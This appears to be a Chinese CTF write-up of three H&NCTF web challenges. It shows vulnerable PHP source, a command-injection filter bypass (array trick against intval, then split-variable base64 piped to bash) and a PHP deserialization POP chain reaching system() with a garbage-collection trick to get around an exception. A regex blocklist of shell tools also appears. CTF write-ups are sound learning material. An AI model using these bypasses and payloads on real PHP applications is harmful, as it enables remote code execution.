H&NCTF
DeceptiFlag
1.抓包填参数
问最喜欢谁:抓个包
发现两个参数:
后面有个狼的拼英:填个–>huitailang
发现:tips.php,访问:
2.文件包含
随便访问一下其他的:
提示:从根目录开始包含
这里要返回之前抓包的一个提示:
3.PHP伪协议读取
Really_Ez_Rce
1.代码审计
<?php
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
error_reporting(0);
if (isset($_REQUEST['Number'])) {
$inputNumber = $_REQUEST['Number'];
if (preg_match('/\d/', $inputNumber)) {
die("不行不行,不能这样");
}
if (intval($inputNumber)) {
echo "OK,接下来你知道该怎么做吗";
if (isset($_POST['cmd'])) {
$cmd = $_POST['cmd'];
if (!preg_match(
'/wget|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\\*|sort|zip|mod|sl|find|sed|cp|mv|ty|php|tee|txt|grep|base|fd|df|\\\\|more|cc|tac|less|head|\.|\{|\}|uniq|copy|%|file|xxd|date|\[|\]|flag|bash|env|!|\?|ls|\'|\"|id/i',
$cmd
)) {
echo "你传的参数似乎挺正经的,放你过去吧<br>";
system($cmd);
} else {
echo "nonono,hacker!!!";
}
}
}
}
发现分为两关:
- $Number不能包含数字,且intval(Number)==true
- $cmd执行linux系统命令
2.数组绕过
传入参数:?Number[]=‘a’
解释:只要是array有值,intval就返回true
3.拼接+base64编码
本人试了很多,不在这里过多阐述:
先执行:
a=s;l$a /
回显:
发现:flag.txt
想继续拼接:发现过滤了点,?,*无法读出
于是采用base64编码:
echo dGFjIC9mKg== | base64 -d | bash
又由于:base,bash被过滤,所以进行拼接:
payload:
a=ba;b=se64;c=bas;d=h;echo dGFjIC9mKg== | $a$b -d | $c$d
ez_php
1.代码审计
<?php
error_reporting(0);
class GOGOGO{
public $dengchao;
function __destruct(){
echo "Go Go Go~ 出发喽!" . $this->dengchao;
}
}
class DouBao{
public $dao;
public $Dagongren;
public $Bagongren;
function __toString(){
if( ($this->Dagongren != $this->Bagongren) && (md5($this->Dagongren) === md5($this->Bagongren)) && (sha1($this->Dagongren)=== sha1($this->Bagongren)) ){
call_user_func_array($this->dao, ['诗人我吃!']);
}
}
}
class HeiCaFei{
public $HongCaFei;
function __call($name, $arguments){
call_user_func_array($this->HongCaFei, [0 => $name]);
}
}
if (isset($_POST['data'])) {
$temp = unserialize($_POST['data']);
throw new Exception('What do you want to do?');
} else {
highlight_file(__FILE__);
}
?>
发现关键字:unserialize
分析代码后:发现经典的pop反序列化
大概逻辑就是:
GOGOGO()-->DouBao()->HeiCaFei()
有个关键函数:call_user_func_array( a , a, a,b)
- $a可以是个函数
- b 是个数组,其 v a l u e 值传入 b是个数组,其value值传入 b是个数组,其value值传入a函数中
call_user_func_array($this->dao, ['诗人我吃!']);
这个函数的$b值不可控,所以往下看:
call_user_func_array($this->HongCaFei, [0 => $name]);
全部可控,开干
2.payload构造
<?php
error_reporting(0);
class GOGOGO{
public $dengchao;
}
class DouBao{
public $dao;
public $Dagongren=[1];
public $Bagongren=[2];
}
class HeiCaFei{
public $HongCaFei;
}
$p=new GOGOGO();
$p->dengchao=new DouBao();
$p->dengchao->Dagongren=[1];
$p->dengchao->Bagongren=[2];
$p->dengchao->dao=[new HeiCaFei(),'ls'];
$p->dengchao->dao[0]->HongCaFei='system';
echo urlencode(serialize($p));
兴高采烈的拿去:输入,发现没有回显,非常的烦躁,后面把他喂给Ai,发现忽略了
throw new Exception('What do you want to do?');
这个东西可以捕获异常,使得:
function __destruct(){
echo "Go Go Go~ 出发喽!" . $this->dengchao;
}
}
不会发生,去csdn取经
3.快速destruct绕过一下后面的exception
看到这篇文章:地址
反正大概就是想办法触发php的垃圾回收机制:
使用数组实现绕过:
$o=array($p,$p);
$s = serialize($o);
$a=str_replace('i:1;r:2','i:0;r:2',$s);
完整payload:
<?php
class GOGOGO{
public $dengchao;
}
class DouBao{
public $dao;
public $Dagongren=[1];
public $Bagongren=[2];
}
class HeiCaFei{
public $HongCaFei;
}
$p=new GOGOGO();
$p->dengchao=new DouBao();
$p->dengchao->Dagongren=[1];
$p->dengchao->Bagongren=[2];
$p->dengchao->dao=[new HeiCaFei(),'cat /ofl1111111111ove4g'];
$p->dengchao->dao[0]->HongCaFei='system';
$o=array($p,$p);
$s = serialize($o);
$a=str_replace('i:1;r:2','i:0;r:2',$s);
echo urlencode($a);